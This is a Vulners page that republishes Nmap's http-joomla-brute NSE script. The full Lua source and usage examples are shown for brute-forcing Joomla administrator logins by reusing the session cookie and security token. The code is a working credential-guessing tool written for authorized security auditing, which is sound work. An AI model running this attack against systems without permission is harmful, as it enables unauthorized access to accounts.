Lucene search

K

http-joomla-brute NSE Script

🗓️ 23 Aug 2011 06:12:29Reported by Paulino Calderon <[email protected]>Type 
nmap
 nmap
🔗 nmap.org👁 715 Views

Performs brute force password auditing against Joomla web CMS installations by reading the session cookie and parsing the security token to guess passwords using unpwdb and brute libraries

Show more
Related
Code
ReporterTitlePublishedViews
Family
Nmap
irc-info NSE Script
6 Nov 200802:52
nmap
Nmap
jdwp-info NSE Script
14 Aug 201211:31
nmap
Nmap
knx-gateway-discover NSE Script
15 Sep 201515:10
nmap
Nmap
ldap-rootdse NSE Script
21 Feb 201008:52
nmap
Nmap
mmouse-brute NSE Script
1 May 201214:29
nmap
Nmap
smb-psexec NSE Script
20 Nov 200916:19
nmap
Nmap
smb-vuln-conficker NSE Script
3 Oct 201506:07
nmap
Nmap
smb-webexec-exploit NSE Script
24 Oct 201816:14
nmap
Nmap
telnet-encryption NSE Script
28 Dec 201100:57
nmap
Nmap
telnet-ntlm-info NSE Script
8 Jan 201615:54
nmap
Rows per page
local brute = require "brute"
local creds = require "creds"
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"

description = [[
Performs brute force password auditing against Joomla web CMS installations.

This script initially reads the session cookie and parses the security token to perfom the brute force password auditing.
It uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are stored using the
credentials library.

Joomla's default uri and form names:
* Default uri:<code>/administrator/index.php</code>
* Default uservar: <code>username</code>
* Default passvar: <code>passwd</code>
]]

---
-- @usage
-- nmap -sV --script http-joomla-brute
--   --script-args 'userdb=users.txt,passdb=passwds.txt,http-joomla-brute.hostname=domain.com,
--                  http-joomla-brute.threads=3,brute.firstonly=true' <target>
-- nmap -sV --script http-joomla-brute <target>
--
-- @output
-- PORT     STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | http-joomla-brute:
-- |   Accounts
-- |     xdeadbee:i79eWBj07g => Login correct
-- |   Statistics
-- |_    Perfomed 499 guesses in 301 seconds, average tps: 0
--
-- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php
-- @args http-joomla-brute.hostname Virtual Hostname Header
-- @args http-joomla-brute.uservar sets the http-variable name that holds the
--                                 username used to authenticate. Default: username
-- @args http-joomla-brute.passvar sets the http-variable name that holds the
--                                 password used to authenticate. Default: passwd
-- @args http-joomla-brute.threads sets the number of threads. Default: 3
--
-- Other useful arguments when using this script are:
-- * http.useragent = String - User Agent used in HTTP requests
-- * brute.firstonly = Boolean - Stop attack when the first credentials are found
-- * brute.mode = user/creds/pass - Username password iterator
-- * passdb = String - Path to password list
-- * userdb = String - Path to user list
--
--
-- @see http-form-brute.nse

author = "Paulino Calderon <[email protected]>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive", "brute"}


portrule = shortport.http

local DEFAULT_JOOMLA_LOGIN_URI = "/administrator/index.php"
local DEFAULT_JOOMLA_USERVAR = "username"
local DEFAULT_JOOMLA_PASSVAR = "passwd"
local DEFAULT_THREAD_NUM = 3

local security_token
local session_cookie_str

---
--This class implements the Brute library (https://nmap.org/nsedoc/lib/brute.html)
---
Driver = {
  new = function(self, host, port, options)
    local o = {}
    setmetatable(o, self)
    self.__index = self
    o.host = stdnse.get_script_args('http-joomla-brute.hostname') or host
    o.port = port
    o.uri = stdnse.get_script_args('http-joomla-brute.uri') or DEFAULT_JOOMLA_LOGIN_URI
    o.options = options
    return o
  end,

  connect = function( self )
    return true
  end,

  login = function( self, username, password )
    stdnse.debug2("HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token)
    local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil,
      { [self.options.uservar] = username, [self.options.passvar] = password,
      [security_token] = 1, lang = "", option = "com_login", task = "login" } )

    if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then
      stdnse.debug2("Response:\n%s", response.body)
      return true, creds.Account:new( username, password, creds.State.VALID)
    end
    return false, brute.Error:new( "Incorrect password" )
  end,

  disconnect = function( self )
    return true
  end,

  check = function( self )
    local response = http.get( self.host, self.port, self.uri )
    stdnse.debug1("HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
    -- Check if password field is there
    if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
      stdnse.debug1("Initial check passed. Launching brute force attack")
      session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"];
      if response.body then
        local _
        _, _, security_token = string.find(response.body, '<input type="hidden" name="(%w+)" value="1" />')
      end
      if security_token then
        stdnse.debug2("Security Token found:%s", security_token)
      else
        stdnse.debug2("The security token was not found.")
        return false
      end

      return true
    else
      stdnse.debug1("Initial check failed. Password field wasn't found")
    end
    return false
  end

}
---
--MAIN
---
action = function( host, port )
  local status, result, engine
  local uservar = stdnse.get_script_args('http-joomla-brute.uservar') or DEFAULT_JOOMLA_USERVAR
  local passvar = stdnse.get_script_args('http-joomla-brute.passvar') or DEFAULT_JOOMLA_PASSVAR
  local thread_num = tonumber(stdnse.get_script_args("http-joomla-brute.threads")) or DEFAULT_THREAD_NUM

  engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } )
  engine:setMaxThreads(thread_num)
  engine.options.script_name = SCRIPT_NAME
  status, result = engine:start()

  return result
end

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo